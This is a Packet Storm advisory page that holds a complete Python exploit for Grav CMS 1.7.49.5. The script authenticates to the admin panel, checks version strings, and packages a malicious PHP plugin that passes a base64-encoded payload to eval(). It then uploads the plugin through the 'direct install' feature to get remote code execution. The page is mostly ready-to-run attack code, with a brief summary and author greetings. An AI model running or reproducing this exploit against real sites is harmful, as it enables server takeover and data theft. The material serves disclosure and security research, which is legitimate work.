PACKETSTORM

πŸ“„ Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679

Description

This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and...
Visit Original Source

Basic Information

ID PACKETSTORM:219679
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Grav CMS 1.7.49.5 Admin Plugin Upload Exploit RCE via Malicious PHP Plugin Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/getgrav/grav |
==================================================================================================================================

[+] Summary : This script targets a Grav CMS admin panel by first authenticating, then checking version information to estimate vulnerability exposure.
If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and uploads it as a ZIP package through the β€œdirect install” feature.
Once installed, the plugin executes the payload via eval(), leading to remote code execution (RCE) on the server.

[+] POC :

#!/usr/bin/env python3

import requests
import re
import zipfile
import io
import os
import sys
import time
from urllib.parse import urljoin
from html.parser import HTMLParser
import random
import string
import base64

class GravExploit:
def __init__(self, target_url, username, password, payload):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.payload = payload
self.session = requests.Session()
self.plugin_name = None
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0'
})

def check_grav_installation(self, html_content):
grav_checks = [
'data-gpm-grav' in html_content,
'data-grav-field' in html_content,
'data-grav-disabled' in html_content,
'data-grav-default' in html_content
]
return sum(grav_checks) >= 2

def login_form_present(self, html_content):
return 'name="data[username]"' in html_content and 'name="data[password]"' in html_content

def extract_nonce(self, html_content):
nonce_match = re.search(r'name="login-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None

def extract_admin_nonce(self, html_content):
nonce_match = re.search(r'name="admin-nonce"\s+value="([^"]+)"', html_content)
return nonce_match.group(1) if nonce_match else None

def extract_versions(self, html_content):
cms_version = None
admin_version = None

cms_match = re.search(r'<span[^>]*class="grav-version"[^>]*>([^<]+)</span>', html_content)
if cms_match:
cms_version = cms_match.group(1).strip().replace('v', '')

admin_match = re.search(r'Admin v([\d.]+)', html_content)
if admin_match:
admin_version = admin_match.group(1)

return cms_version, admin_version

def version_compare(self, version, target_version):
if not version:
return False

def normalize(v):
return [int(x) for x in v.split('.')]

try:
return normalize(version) <= normalize(target_version)
except:
return False

def check(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "Unknown", "Connection failed"
if res.status_code != 200:
return "Unknown", f"Unexpected response code: {res.status_code}"

if not self.check_grav_installation(res.text):
return "Safe", "Target does not appear to be a Grav installation"

if not self.login_form_present(res.text):
return "Detected", "Grav detected but login form not accessible"

cms_version, admin_version = self.get_versions_after_login()

if not cms_version:
return "Detected", "Grav CMS detected but version could not be determined"

vuln = False
if self.version_compare(cms_version, "1.7.49.5") and not self.version_compare(cms_version, "1.0.9"):
vuln = True

if admin_version and vuln:
if self.version_compare(admin_version, "1.10.49.3") and not self.version_compare(admin_version, "1.0.9"):
return "Appears", f"Grav CMS {cms_version} is vulnerable\nAdmin Plugin v{admin_version} is vulnerable"

if not vuln:
return "Safe", f"Grav CMS {cms_version} is not vulnerable"

return "Safe", f"Admin Plugin v{admin_version} is not vulnerable"

except requests.RequestException as e:
return "Unknown", f"Connection failed: {str(e)}"

def get_versions_after_login(self):
auth_result = self.authenticate()
if auth_result not in ['success', 'already_authenticated']:
return None, None

res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return None, None

return self.extract_versions(res.text)

def authenticate(self):
try:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res or res.status_code != 200:
return "connection_failed"

if 'grav-version' in res.text and 'login-nonce' not in res.text:
return "already_authenticated"

nonce = self.extract_nonce(res.text)
if not nonce:
return "connection_failed"

login_data = {
'data[username]': self.username,
'data[password]': self.password,
'task': 'login',
'login-nonce': nonce
}

res = self.session.post(urljoin(self.target_url, '/admin'), data=login_data)
if not res:
return "connection_failed"

if res.status_code in [301, 302, 303]:
res = self.session.get(urljoin(self.target_url, '/admin'))
if not res:
return "connection_failed"

if 'name="login-nonce"' in res.text:
return "login_failed"

return "success"

except requests.RequestException:
return "connection_failed"

def login(self):
print("[*] Authenticating...")
result = self.authenticate()

if result == "already_authenticated":
print("[+] Already authenticated")
return True
elif result == "success":
print("[+] Login successful")
return True
elif result == "connection_failed":
print("[-] Connection failed")
return False
elif result == "login_failed":
print("[-] Login failed")
return False
else:
print("[-] Unexpected authentication error")
return False

def generate_php_plugin(self, plugin_name):
b64_payload = base64.b64encode(self.payload.encode()).decode()
class_name = f"{plugin_name.capitalize()}pluginPlugin"

php_code = f'''<?php
namespace Grav\\Plugin;
use Grav\\Common\\Plugin;

class {class_name} extends Plugin
{{
public static function getSubscribedEvents()
{{
return [
'onPagesInitialized' => ['onPagesInitialized', 0]
];
}}

public function onPagesInitialized()
{{
@eval(base64_decode('{b64_payload}'));
}}
}}
'''
return php_code

def build_plugin_zip(self, plugin_name):
php_code = self.generate_php_plugin(plugin_name)

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.php", php_code)
zip_file.writestr(f"{plugin_name}plugin/blueprints.yaml",
f"name: {plugin_name.capitalize()}\ntype: plugin\nversion: 1.0.0")
zip_file.writestr(f"{plugin_name}plugin/{plugin_name}plugin.yaml",
f"enabled: true")

return zip_buffer.getvalue()

def upload_plugin(self, zip_data, plugin_name):
install_uri = urljoin(self.target_url, '/admin/tools/direct-install')

res = self.session.get(install_uri)
if not res or res.status_code != 200:
print("[-] Failed to fetch install page")
return False

nonce = self.extract_admin_nonce(res.text)
if not nonce:
print("[-] Could not extract admin nonce")
return False

files = {
'uploaded_file': (f'{plugin_name}.zip', zip_data, 'application/zip')
}
data = {
'task': 'directInstall',
'admin-nonce': nonce
}

res = self.session.post(install_uri, data=data, files=files)

if not res:
print("[-] No response during plugin upload")
return False

if res.status_code in [301, 302, 303]:
self.session.get(install_uri)

return True

def exploit(self):
print("[*] Authenticating to Grav admin...")
if not self.login():
return False

plugin_name = (random.choice(string.ascii_lowercase) +
''.join(random.choices(string.ascii_lowercase + string.digits, k=17))).lower()
self.plugin_name = plugin_name

zip_data = self.build_plugin_zip(plugin_name)

if self.upload_plugin(zip_data, plugin_name):
print("[+] Plugin uploaded successfully")
return True
else:
print("[-] Plugin upload failed")
return False

def cleanup(self):
if self.plugin_name:
print("[!] Manual cleanup may be required")
return True
return False


def main():
if len(sys.argv) != 5:
print("Usage: python3 grav_exploit.py <target_url> <username> <password> <payload>")
sys.exit(1)

target_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

exploit = GravExploit(target_url, username, password, payload)

print("[*] Checking if target is vulnerable...")
status, message = exploit.check()

if status == "Appears":
print(f"[+] {message}")
if exploit.exploit():
print("[+] Exploitation completed")
exploit.cleanup()
else:
print("[-] Exploitation failed")
else:
print(f"[-] Target not vulnerable: {message}")

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.